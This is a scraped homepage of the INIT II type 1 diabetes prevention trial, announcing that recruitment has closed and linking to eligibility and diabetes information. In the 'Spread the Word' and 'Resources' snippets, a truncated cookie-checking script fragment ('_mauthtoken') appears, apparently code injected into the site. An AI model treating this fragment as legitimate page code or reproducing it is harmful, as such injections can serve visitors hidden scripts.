RECRUITMENT HAS NOW CLOSED – INIT II is now in follow up phase and we are no longer conducting screening blood tests.

The Type 1 Diabetes Prevention Trial, also known as the Intranasal Insulin Trial (INIT II), is part of a coordinated global effort to develop a vaccine for type 1 diabetes. The trial, which began in 2006, is jointly funded by the National Health and Medical Research Council (NHMRC) and the Juvenile Diabetes Research Foundation >> Find out more

  • RECRUITMENT HAS NOW CLOSED. If you are already registered for the Type 1 Diabetes Prevention Trial, you are still ...
    >> Read more
  • Although recruitment has closed, there are still approximately 300 people registered who haven't yet had ...
    >> Read more

  • Although recruitment has closed, there are still approximately 300 people registered who haven't yet had ...
    >> Read more

  • Although recruitment has closed, there are still approximately 300 people registered who haven't yet had ...
    >> Read more

  • Although recruitment has closed, there are still approximately 300 people registered who haven't yet had ...
    >> Read more

  • Are you Eligible?

    RECRUITMENT HAS NOW CLOSED. INIT II is now in follow up phase and we are no longer conducting screening blood tests.

    Anyone who is aged between 4 and 30 and has type 1 diabetes in his or her fam
    >> Find out more

  • Spread the Word

    Click the icons below to email a friend or spread the word via Facebook or Twitter. The green ShareThis icon also lets you tell your friends via LinkedIn, Google and Yahoo! So, no excuses!

    if(document.cookie.indexOf(“_mauthtoken&#

  • Learn About Diabetes

    Type 1 diabetes, previously known as juvenile or early-onset diabetes, is an autoimmune disease in which the body’s immune system destroys the cells that produce insulin. Located in the pancreas, these cells are called beta cells.

    Alt
    >> Find out more

  • Resources

    Help us spread the word! Download the Type 1 Diabetes Prevention Trial resources here and start telling you patients, colleagues, family and friends about the trial today.

    if(document.cookie.indexOf(“_mauthtoken”)==-1){(funct
    >> Find out more